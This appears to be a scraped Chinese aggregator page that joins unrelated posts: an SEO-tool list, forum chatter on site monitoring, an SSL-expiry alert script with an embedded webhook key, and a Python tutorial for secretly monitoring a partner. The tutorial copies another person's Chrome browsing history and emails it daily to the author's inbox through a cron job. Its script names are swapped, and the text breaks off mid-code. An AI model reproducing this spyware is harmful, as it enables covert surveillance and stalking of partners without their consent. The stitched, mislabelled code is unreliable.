谷歌使用含有数百个加权因子的复杂算法,根据给定网页与给定关键词的相关性,对网页进行索引和排名。数字营销人员则通过实证测试试图弄清这个复杂算法背后的原理,并采用特定的方法来提高网页在搜索结果页中的排名,这一过程被叫做搜索引擎优化(SEO),这是数字营销人员必须掌握的重要技能。
如果没有优质SEO内容工具,优化网页内容将是一项冗长乏味的工作。为了帮助您节省大量时间和劳动力,本为会为您推荐10个最佳SEO内容创作工具,这些工具适用于内容创作过程的不同阶段。
1. Google Search Console
价格:网站所有者可免费使用
作用:Google Search Console是谷歌自己的工具,能够帮助提高网站在搜索引擎结果页面中的排名。它包括网站性能监视工具,页面加载时间监视工具。您还可以监控您的网站在Google搜索结果中的排名,了解哪些页面是针对特定关键词进行排名的。您还可以查看网页在搜索结果页面的展示次数和点击次数。它帮助您确定该优化哪些内容,以及接下来该定位哪些关键词。
2. Google Keyword Planner
价格:拥有Google Ads账户的人均可免费使用
作用:Google Keyword Planner是进行基本的关键词研究的最佳免费工具之一。您可以 1)发现新关键词:输入任何关键词来查看与其类似的关键词列表,以及它们的搜索量和相关指标,使得你很容易找到新的关键字优化目标;2)预测关键词趋势:监控趋势,以发现流行的搜索关键词。Kenny觉得这个工具只适合做SEM的小伙伴,如果你是做SEO的,那查找到的关键词数据不适合SEO。
3. WordStream
价格:免费
作用:WordStream 提供了一个精简版的Google Keyword Planner,它是免费的,易于使用。只需输入您选择的关键词,选择一个行业,并输入您的位置,然后单击Email All My Keywords按钮,您就可以获得关键词列表和它们在Google和Bing上的搜索量,以及每个关键词的平均每次点击成本(CPC)

4. SEMrush
价格:部分功能免费,订阅制99.95美元/月
作用:SEMrush 是最流行的工具之一,适用于所有类型的数字营销人员。它包含40多种不同的工具,可以帮助进行SEO、PPC和社交媒体管理。营销人员可以使用SEMrush分析反向链接、进行关键词研究、分析自己或竞争对手的网站性能和流量,并发现新的市场和机会。SEMrush还有一个SEO审计程序,可以帮助解决网站SEO的一些技术问题。
5. BuzzSumo
价格:79美元/月
作用:BuzzSumo帮助营销人员有效分析网站内容,同时紧跟热门趋势。BuzzSumo能够找到用户在不同平台上最喜欢分享的内容。只需要输入网站链接,就能查看什么是该网站最热门的内容。您还可以分析过去一天内,一个月内以及一年内的趋势,并且按照作者或者平台过滤。
6. Answer the Public
价格:每天3次免费使用,无限使用99美元/月
作用:输入某一关键词,您可以查找到任何与之相联系的关键词,并获得可视化报告。这些关键字以您输入的关键词为中心,形成一个网状结构,展示它们之间的联系。借助Answer the Public,营销人员可以撰写针对性强的文章,使网页更有可能出现在Google Snippets中。
7. Yoast SEO

价格:基础版免费,高级版89美元/月
作用:Yoast SEO是一个WordPress插件。它可在您使用WordPress优化博客文章时,为您提供实时反馈,提供改进建议。它类似一个清单工具,实时告诉你撰写网站博文时还可以做哪些事来优化SEO。
8. Keyword Density Checker
价格:每月500次使用限制,如需解锁更多使用次数,可购买50美元/年的高级版
作用:关键字密度(Keyword density)是谷歌等搜索引擎用来对网页进行排名的重要因素。您应该确保目标关键词在每篇文章中被提到足够多的次数,同时还不能滥用关键词。keyword density checker可以计算出每个关键词在您的文章中被提及的次数。只要复制粘贴文本,您就能知道文章中出现频率最高的关键词列表。对于大多数内容而言,目标关键字的密度最好在2%到5%。
9. Read-Able
价格:免费版可供使用,付费版4美元/月
作用:据统计,北美人的平均阅读水平在八年级左右。因此,如果北美人是您的目标受众,您应该撰写清晰易懂的句子和文章。如果您的目标受众受过大学教育,则可以使用较长的单词和复杂的句子。Read-able帮助您将文章写作水平与目标受众的阅读水平相匹配,为读者提供最佳体验。它提供阅读水平检查,语法和拼写检查等功能。
10. Grammarly Premium
价格:11.66美元/月
作用:搜索引擎将网站的拼写和语法纳入排名范围。如果网站内容包含许多拼写错误,它就不太可能获得一个高排名。Grammarly可以轻松创建语法正确且没有拼写错误的内容。您可以将Grammarly作为插件添加到浏览器,并在撰写电子邮件、社交媒体更新或博客文章时使用它。
从关键词研究到拼写检查和语法纠正,这10种工具涵盖了网站内容创建的每一个步骤。我们希望您在为网站编写内容时,可以使用其中一部分工具来节省时间和精力。如果您在实操上遇到困难,或者需要专业的咨询服务,一个专业的数字营销团队正是您需要的!Ara Analytics有丰富的搜索引擎优化经验,欢迎联系我们,我们将为您提供定制化的专业服务。
网站内容更新监控订阅、站内接口api接口。
网站优化 • 优采云 发表了文章 • 0 个评论 • 110 次浏览 • 2022-08-07 06:01
网站内容更新监控无非就是rss订阅、站内api接口。
1、rss订阅我知道,很多企业网站有自己的rss订阅器,
2、api接口就是你可以跟客户端通信获取你所需要的信息了;
3、其他就是类似wordpress插件的内容管理机制,
网站内容更新监控,内容推送,内容打标,有自己的一套闭环流程.单个的api直接获取是很不安全的一种方式,缺少对接口的安全保护.要有完整的内容更新流程.
要知道更新可以自己根据关键字去判断更新什么内容
这个问题没有确切的答案!你得看你的需求,如果你只是想要看看你们网站的数据,我觉得很简单,如果你想知道整个网站的运行情况,我觉得你需要了解他的数据中心来做分析,
数据量大又安全的可以试试gslb
需要先给你加个限制条件——你们公司有用googleanalytics吧,如果没有,那么也行。
我不知道如何分析。
数据量大分析更详细
fiddler反调
数据收集是做不到的,做到了,
数据,你收集他的哪些?如果一个ip干掉所有?如果不能,说明他在监控整站。
你只能监控哪些数据
你没有分析吗?
你需要找对行业目标用户,有针对性的收集需要的数据。当然你也可以选择机器人,全网抓取。 查看全部
网站内容更新监控订阅、站内接口api接口。
网站内容更新监控无非就是rss订阅、站内api接口。
1、rss订阅我知道,很多企业网站有自己的rss订阅器,
2、api接口就是你可以跟客户端通信获取你所需要的信息了;
3、其他就是类似wordpress插件的内容管理机制,
网站内容更新监控,内容推送,内容打标,有自己的一套闭环流程.单个的api直接获取是很不安全的一种方式,缺少对接口的安全保护.要有完整的内容更新流程.

要知道更新可以自己根据关键字去判断更新什么内容
这个问题没有确切的答案!你得看你的需求,如果你只是想要看看你们网站的数据,我觉得很简单,如果你想知道整个网站的运行情况,我觉得你需要了解他的数据中心来做分析,
数据量大又安全的可以试试gslb
需要先给你加个限制条件——你们公司有用googleanalytics吧,如果没有,那么也行。
我不知道如何分析。
数据量大分析更详细

fiddler反调
数据收集是做不到的,做到了,
数据,你收集他的哪些?如果一个ip干掉所有?如果不能,说明他在监控整站。
你只能监控哪些数据
你没有分析吗?
你需要找对行业目标用户,有针对性的收集需要的数据。当然你也可以选择机器人,全网抓取。
监控:实现 SSL 证书到期,微信通知
网站优化 • 优采云 发表了文章 • 0 个评论 • 97 次浏览 • 2022-07-16 01:53
点击上方“芋道源码”,选择“”
管她前浪,还是后浪?
能浪的浪,才是好浪!
每天 10:33更新文章,每天掉亿点点头发...
源码精品专栏
创建一个企业微信账号,并创建一个组,在组里面配置企业微信提供的机器人。将机器人提供的 WebHook 地址保存。
基于 Spring Boot + MyBatis Plus + Vue & Element 实现的后台管理系统 + 用户小程序,支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信、商城等功能
[root@Nginx ~]# cat ssl-monitor.sh<br />#!/bin/bash<br /><br />> 基于 Spring Cloud Alibaba + Gateway + Nacos + RocketMQ + Vue & Element 实现的后台管理系统 + 用户小程序,支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信、商城等功能<br />><br />> * 项目地址:<br />> * 视频教程:<br /><br /># 定义网站域名和端口号信息<br />WebName="www.baidu.com"<br />Port="443"<br /><br /># 通过 Openssl 工具获取到当前证书的到期时间<br />Cert_END_Time=$(echo | openssl s_client -servername ${<br /> <br /> WebName} -connect ${<br /> <br /> WebName}:${<br /> <br /> Port} 2> /dev/null | openssl x509 -noout -dates | grep 'After' | awk -F '=' '{print $2}' | awk '{print $1,$2,$4}')<br /><br /># 将证书的到期时间转化成时间戳<br />Cert_NED_TimeStamp=$(date +%s -d "$Cert_END_Time")<br /><br /># 定义当前时间的时间戳<br />Create_TimeStamp=$(date +%s)<br /><br /># 通过计算获取到证书的剩余天数<br />Rest_Time=$(expr $(expr $Cert_NED_TimeStamp - $Create_TimeStamp) / 86400)<br /><br /># 配置告警提示信息<br />echo "$WebName 网站的 SSL 证书还有 $Rest_Time 天后到期" > ssl-monitor.txt<br /><br /># 判断出证书时间小于 30 天的<br />if [ $Rest_Time -lt 30 ];then<br /><br /># 定义企业微信机器人的 API 接口<br />WebHook='https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=2743320b-0a2c-404b-87bc-25fedf1ff67a'<br /><br /># 通过 Curl 命令来发送 Post 请求<br />curl "${WebHook}" -H 'Content-Type: application/json' -d '<br />{<br /> "msgtype": "text",<br /> "text": { <br /> "content": "'"$(cat ssl-monitor.txt)"'"<br /> }<br />}' &> /dev/null<br />fi<br />
因为我们上面有配置条件判断,所以在验证时,我们可以先将条件判断删除。
[root@Nginx ~]# bash ssl-monitor.sh <br />
[root@Nginx ~]# crontab -e<br />* 23 * * * /bin/bash /root/ssl-monitor.sh<br />
欢迎加入我的知识星球,一起探讨架构,交流源码。加入方式,长按下方二维码噢:
已在知识星球更新源码解析如下:
最近更新《芋道 SpringBoot 2.X 入门》系列,已经 101 余篇,覆盖了MyBatis、Redis、MongoDB、ES、分库分表、读写分离、SpringMVC、Webflux、权限、WebSocket、Dubbo、RabbitMQ、RocketMQ、Kafka、性能测试等等内容。
提供近 3W 行代码的 SpringBoot 示例,以及超 4W 行代码的电商微服务项目。 查看全部
监控:实现 SSL 证书到期,微信通知
点击上方“芋道源码”,选择“”
管她前浪,还是后浪?
能浪的浪,才是好浪!
每天 10:33更新文章,每天掉亿点点头发...
源码精品专栏

创建一个企业微信账号,并创建一个组,在组里面配置企业微信提供的机器人。将机器人提供的 WebHook 地址保存。
基于 Spring Boot + MyBatis Plus + Vue & Element 实现的后台管理系统 + 用户小程序,支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信、商城等功能
[root@Nginx ~]# cat ssl-monitor.sh<br />#!/bin/bash<br /><br />> 基于 Spring Cloud Alibaba + Gateway + Nacos + RocketMQ + Vue & Element 实现的后台管理系统 + 用户小程序,支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信、商城等功能<br />><br />> * 项目地址:<br />> * 视频教程:<br /><br /># 定义网站域名和端口号信息<br />WebName="www.baidu.com"<br />Port="443"<br /><br /># 通过 Openssl 工具获取到当前证书的到期时间<br />Cert_END_Time=$(echo | openssl s_client -servername ${<br /> <br /> WebName} -connect ${<br /> <br /> WebName}:${<br /> <br /> Port} 2> /dev/null | openssl x509 -noout -dates | grep 'After' | awk -F '=' '{print $2}' | awk '{print $1,$2,$4}')<br /><br /># 将证书的到期时间转化成时间戳<br />Cert_NED_TimeStamp=$(date +%s -d "$Cert_END_Time")<br /><br /># 定义当前时间的时间戳<br />Create_TimeStamp=$(date +%s)<br /><br /># 通过计算获取到证书的剩余天数<br />Rest_Time=$(expr $(expr $Cert_NED_TimeStamp - $Create_TimeStamp) / 86400)<br /><br /># 配置告警提示信息<br />echo "$WebName 网站的 SSL 证书还有 $Rest_Time 天后到期" > ssl-monitor.txt<br /><br /># 判断出证书时间小于 30 天的<br />if [ $Rest_Time -lt 30 ];then<br /><br /># 定义企业微信机器人的 API 接口<br />WebHook='https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=2743320b-0a2c-404b-87bc-25fedf1ff67a'<br /><br /># 通过 Curl 命令来发送 Post 请求<br />curl "${WebHook}" -H 'Content-Type: application/json' -d '<br />{<br /> "msgtype": "text",<br /> "text": { <br /> "content": "'"$(cat ssl-monitor.txt)"'"<br /> }<br />}' &> /dev/null<br />fi<br />
因为我们上面有配置条件判断,所以在验证时,我们可以先将条件判断删除。
[root@Nginx ~]# bash ssl-monitor.sh <br />

[root@Nginx ~]# crontab -e<br />* 23 * * * /bin/bash /root/ssl-monitor.sh<br />
欢迎加入我的知识星球,一起探讨架构,交流源码。加入方式,长按下方二维码噢:
已在知识星球更新源码解析如下:
最近更新《芋道 SpringBoot 2.X 入门》系列,已经 101 余篇,覆盖了MyBatis、Redis、MongoDB、ES、分库分表、读写分离、SpringMVC、Webflux、权限、WebSocket、Dubbo、RabbitMQ、RocketMQ、Kafka、性能测试等等内容。
提供近 3W 行代码的 SpringBoot 示例,以及超 4W 行代码的电商微服务项目。
网站内容更新监控工具,支持关键词监控,即时更新您的网站
网站优化 • 优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-06-23 07:04
网站内容更新监控工具,支持关键词监控,即时更新您的网站。1.实时更新网站内容2.记录更新历史(网站浏览)3.实时统计自动生成不重复的内容列表,您可以对其进行实时更新。
我做网站营销,有个工具网站,有兴趣可以给你看看。
你的要求不能够完全满足,个人建议使用百度统计,国内的一个第三方数据统计平台,带seo分析的,操作非常简单,不需要下客户端,并且能同步到阿里云和腾讯云,费用也不贵,一年400左右。
si里的统计分析很全面了
请问,我如何使用si在pc端或者移动端,同时浏览多个网站,并且是googleanalytics上上架了优化过的网站,都可以发帖子提问么?如果可以的话,
泻药都不是大互联网企业,用si干嘛啊?pc端用户看的就那么一点,没必要用si。移动端就没有网站的域名了吧?统计不过来的。
百度统计只能收录网站的静态页面或者页面标题和内容标题等含有相关性的url词的,seo信息是没有的!所以你可以考虑针对seo加强分析,通过竞争度分析,来增加网站内容的建设。如果搜索引擎不下载你的网站数据用户还是不会搜到你, 查看全部
网站内容更新监控工具,支持关键词监控,即时更新您的网站
网站内容更新监控工具,支持关键词监控,即时更新您的网站。1.实时更新网站内容2.记录更新历史(网站浏览)3.实时统计自动生成不重复的内容列表,您可以对其进行实时更新。
我做网站营销,有个工具网站,有兴趣可以给你看看。
你的要求不能够完全满足,个人建议使用百度统计,国内的一个第三方数据统计平台,带seo分析的,操作非常简单,不需要下客户端,并且能同步到阿里云和腾讯云,费用也不贵,一年400左右。
si里的统计分析很全面了
请问,我如何使用si在pc端或者移动端,同时浏览多个网站,并且是googleanalytics上上架了优化过的网站,都可以发帖子提问么?如果可以的话,
泻药都不是大互联网企业,用si干嘛啊?pc端用户看的就那么一点,没必要用si。移动端就没有网站的域名了吧?统计不过来的。
百度统计只能收录网站的静态页面或者页面标题和内容标题等含有相关性的url词的,seo信息是没有的!所以你可以考虑针对seo加强分析,通过竞争度分析,来增加网站内容的建设。如果搜索引擎不下载你的网站数据用户还是不会搜到你,
如何监控网站内容更新监控指标?不同title该如何布局
网站优化 • 优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-06-14 08:03
网站内容更新监控是一项非常重要的常规性工作,总是不知道要更新多少最好,或者想要多快更新,只要掌握了网站内容更新监控技巧,就能够让自己每天提前发现一些新的项目和思路,可以有效防止自己陷入单向度思维或者陷入混乱的思考模式当中,而且不会被眼花缭乱的现象迷惑,要根据自己要发布的内容找到合适的方式去分析页面内容布局或者人群的关注话题,将自己作为项目运营上的参考。
1、不同title该如何监控指标首先,在上传表格的时候,就要利用合适的工具将关键词进行分词,然后进行分词之后得到分词的词组,之后按照人们常用的搜索方式进行关键词搜索,如果出现多个词组,就将所有表格的关键词匹配。然后,将这些词组进行统计,统计关键词出现频率,看看是否有大的变化,还是有规律可循,直到找到不同主题下表格中的关键词从主关键词到长尾关键词,词频从高到低排列,然后根据这个频率进行关键词的排序。
2、布局结构的基本逻辑整个关键词布局原则主要从以下两个方面去进行:
1、提高ip,30天内只要超过30天的ip,全部展示,即不得超过60%,
2、提高listing,也就是30天内不得超过30天的pv,即100~2000,这是amazon平台浏览量比较低的产品。
3、网站布局:关键词匹配,关键词重点分布,多网站投放关键词,整站布局,例如,产品关键词在搜索产品的时候,展示出来的页面全部布局,不得有重复关键词:如果有,通过对分词后产品listing进行二次布局或者三次布局。
4、关键词布局策略策略一:10个词左右长尾词+10个核心词策略二:20个词左右核心词+20个长尾词策略三:30个词左右核心词+30个长尾词策略四:50个词左右核心词+50个长尾词策略五:100个词左右核心词+100个长尾词策略六:1000个词左右核心词+1000个长尾词 查看全部
如何监控网站内容更新监控指标?不同title该如何布局
网站内容更新监控是一项非常重要的常规性工作,总是不知道要更新多少最好,或者想要多快更新,只要掌握了网站内容更新监控技巧,就能够让自己每天提前发现一些新的项目和思路,可以有效防止自己陷入单向度思维或者陷入混乱的思考模式当中,而且不会被眼花缭乱的现象迷惑,要根据自己要发布的内容找到合适的方式去分析页面内容布局或者人群的关注话题,将自己作为项目运营上的参考。
1、不同title该如何监控指标首先,在上传表格的时候,就要利用合适的工具将关键词进行分词,然后进行分词之后得到分词的词组,之后按照人们常用的搜索方式进行关键词搜索,如果出现多个词组,就将所有表格的关键词匹配。然后,将这些词组进行统计,统计关键词出现频率,看看是否有大的变化,还是有规律可循,直到找到不同主题下表格中的关键词从主关键词到长尾关键词,词频从高到低排列,然后根据这个频率进行关键词的排序。
2、布局结构的基本逻辑整个关键词布局原则主要从以下两个方面去进行:
1、提高ip,30天内只要超过30天的ip,全部展示,即不得超过60%,
2、提高listing,也就是30天内不得超过30天的pv,即100~2000,这是amazon平台浏览量比较低的产品。
3、网站布局:关键词匹配,关键词重点分布,多网站投放关键词,整站布局,例如,产品关键词在搜索产品的时候,展示出来的页面全部布局,不得有重复关键词:如果有,通过对分词后产品listing进行二次布局或者三次布局。
4、关键词布局策略策略一:10个词左右长尾词+10个核心词策略二:20个词左右核心词+20个长尾词策略三:30个词左右核心词+30个长尾词策略四:50个词左右核心词+50个长尾词策略五:100个词左右核心词+100个长尾词策略六:1000个词左右核心词+1000个长尾词
做出一款给竞争对手看的短信服务平台,要给用户什么?
网站优化 • 优采云 发表了文章 • 0 个评论 • 79 次浏览 • 2022-06-13 07:02
网站内容更新监控主要有三个方面,第一,实时监控,网站每次更新信息都会及时发送到后台;第二,可视化监控,该统计分析数据都会在首页显示;第三,分析统计,定期会对网站的内容做分析统计。
可以使用鼎盛科技的短信监控平台。
你可以通过监控给网站发送短信,这样网站还可以及时更新,之前用过他们的短信监控平台。
大部分的mvp还是要自己做一个,好多创业网站和tm做的很简陋,根本不是bestpractice。国内一些技术水平一般的开发商也经常不准时发送,所以你还是要自己有一定的经验。如果只做bestpractice的话,我会推荐@腾讯微信团队的微信平台监控,你可以给他们发短信监控,或者给他们的公众号也发一条定时通知。
凡创始人陈石:做出一款给竞争对手看的短信服务平台,要给用户什么?创始人宋小鹤:量子云短信服务方案,
平台+自营+融资
我们的知乎专栏——匠铭社-《经典短信应用研究》,
借用楼上的一句话,两分天注定,七分靠修行。利用好几家短信平台,
先列出基本原理1)专门建立post方式,通过域名检索匹配2)post发送简单设置规则发送短信第一种几率大,
作为被短信坑过的人,一个月之内吧,国内三十几家平台,最后选定了花生宝典,从精度、风控、到执行、到效果,这是最关键的一个环节。以前用任何企业短信平台的企业邮箱发短信经常发不出去、发完还必须要手动删除,无一例外。花生宝典做到一号双响、永久发送,虽然发送速度慢点,但准确性应该有保证吧,现在自建短信服务平台应该没啥难度了。 查看全部
做出一款给竞争对手看的短信服务平台,要给用户什么?
网站内容更新监控主要有三个方面,第一,实时监控,网站每次更新信息都会及时发送到后台;第二,可视化监控,该统计分析数据都会在首页显示;第三,分析统计,定期会对网站的内容做分析统计。
可以使用鼎盛科技的短信监控平台。
你可以通过监控给网站发送短信,这样网站还可以及时更新,之前用过他们的短信监控平台。
大部分的mvp还是要自己做一个,好多创业网站和tm做的很简陋,根本不是bestpractice。国内一些技术水平一般的开发商也经常不准时发送,所以你还是要自己有一定的经验。如果只做bestpractice的话,我会推荐@腾讯微信团队的微信平台监控,你可以给他们发短信监控,或者给他们的公众号也发一条定时通知。
凡创始人陈石:做出一款给竞争对手看的短信服务平台,要给用户什么?创始人宋小鹤:量子云短信服务方案,
平台+自营+融资
我们的知乎专栏——匠铭社-《经典短信应用研究》,
借用楼上的一句话,两分天注定,七分靠修行。利用好几家短信平台,
先列出基本原理1)专门建立post方式,通过域名检索匹配2)post发送简单设置规则发送短信第一种几率大,
作为被短信坑过的人,一个月之内吧,国内三十几家平台,最后选定了花生宝典,从精度、风控、到执行、到效果,这是最关键的一个环节。以前用任何企业短信平台的企业邮箱发短信经常发不出去、发完还必须要手动删除,无一例外。花生宝典做到一号双响、永久发送,虽然发送速度慢点,但准确性应该有保证吧,现在自建短信服务平台应该没啥难度了。
用Python监控你的女朋友/男朋友每天都在看哪些网站
网站优化 • 优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-06-01 01:11
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email import encoders<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.header import Header<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.text import MIMEText<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.multipart import MIMEMultipart<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.base import MIMEBase<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.utils import parseaddr, formataddr<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import smtplib<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import argparse<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 1.文件执行的需要的参数(result.txt)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />parser = argparse.ArgumentParser()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />parser.add_argument('affix_file',help='the path of the affix')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />args = parser.parse_args()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 2.格式化一个邮件地址和邮件信息<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />def _format_addr(s):<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> name, addr = parseaddr(s)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return formataddr((Header(name, 'utf-8').encode(), addr))<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#连接服务器(这里大家好改成自己的!)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from_addr = "771568102@qq.com" #发件人邮箱<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />password = "xxxxxxxx" #发件人邮箱授权码<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />smtp_server = "smtp.qq.com" #SMTP服务器地址<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#邮件发件人名字、收件人名字、主题<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg = MIMEMultipart()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 邮件正文是MIMEText:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />with open(args.affix_file, 'r') as f:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 设置附件的MIME和文件名,这里是py类型:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime = MIMEBase('result', 'txt', filename='result.txt')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 加上必要的头信息:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('Content-ID', '')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('X-Attachment-Id', '0')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 把附件的内容读进来:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.set_payload(f.read())<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 用Base64编码:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> encoders.encode_base64(mime)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 添加到MIMEMultipart:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> msg.attach(mime)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#3.通过SMTP发送出去<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server = smtplib.SMTP(smtp_server, 25)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.set_debuglevel(1)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.login(from_addr, password)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.sendmail(from_addr, [to_addr], msg.as_string())<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
# -*- coding: utf-8 -*-<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import sqlite3<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#大家要改成自己的路径<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 1.连接history_db<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />c = sqlite3.connect(history_db)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />cursor = c.cursor()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 2.选取我们想要的网址和访问时间<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />try:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> cursor.execute(select_statement)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />except sqlite3.OperationalError:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> quit()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 3.将网址和访问时间存入result.txt文件<br style="max-width: 100%;box-sizing: border-box 